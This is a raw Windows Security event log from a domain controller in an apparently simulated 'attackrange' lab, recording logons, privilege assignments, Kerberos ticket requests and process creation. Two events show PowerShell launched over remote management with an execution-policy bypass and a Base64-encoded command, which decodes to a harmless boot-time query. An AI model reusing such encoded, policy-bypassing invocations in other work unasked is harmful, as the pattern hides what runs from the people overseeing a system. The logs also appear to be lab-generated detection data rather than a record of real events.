SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249593 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE577F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249592 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE577F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64300 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249591 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE577F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249590 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE571E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE571E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64299 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE571E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249634 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE6443 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249633 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE6443 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249632 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249631 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249630 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249629 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb3c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249628 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE59F1 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb3c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd40 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249627 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE6250 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249626 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE6250 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249625 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249624 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B1243C6A-491A-5947-F7D8-661DDD8FE3E7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249623 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249622 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE60A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249621 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE60A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64307 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249620 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE60A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249619 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE6019 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249618 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE6019 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64306 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249617 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE6019 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249616 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5F73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249615 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5F73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64305 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info 